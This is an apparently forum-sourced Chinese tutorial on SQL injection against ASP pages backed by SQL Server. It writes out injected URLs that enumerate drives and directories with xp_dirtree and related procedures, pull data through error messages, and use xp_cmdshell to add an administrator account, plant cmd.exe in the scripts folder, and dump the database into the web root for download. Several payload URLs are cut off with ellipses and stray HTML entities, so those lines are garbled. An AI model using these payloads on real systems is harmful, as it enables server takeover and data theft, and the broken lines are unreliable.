如何找到WEB虚拟目录

找到WEB虚拟目录有两种方法,

一是根据经验,一般来说,WEB虚拟目录是:c(可以使D/E/F等):\inetpub\wwwroot;等,而可执行虚拟目录是:c(可以使D/E/F等):\inetpub\scripts; 等。

 二是原始的办法,一步步寻找系统的目录结构,分析结果并发现WEB虚拟目录;
 先创建一个临时表:temp
 HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n … mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
 接下来:
 (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
 HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp … ter.dbo.xp_availablemedia;–
 我们可以通过查询temp的内容来获得驱动器列表及相关信息
 (2)利用xp_subdirs获得子目录列表,并存入temp表中:
 HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i … dbo.xp_subdirs ‘c:\';–
 (3)利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
 HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\';–
 需要注意的是:
 1、上面的步骤每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
 HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;–
 2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& … nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from … ere id not in(‘xyz’))>0 得到表TEMP中第二条记录id字段的值。
知道WEB虚拟目录后我们就能用具有SR权限的帐号控制整个服务器,并且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行。
1、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”– (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
2、HTTP://xxx.xxx.xxx/abc.asp?p=YY … me()>0 abc.asp执行异常但可以得到当前连接的数据库名。
3、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb … er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”– 把刚刚增加的帐户aaa加到administrators组中。
5、通过复制CMD创建UNICODE漏洞HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe … dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
6、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk=’c:\inetpub\wwwroot\save.db’ 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。



顶部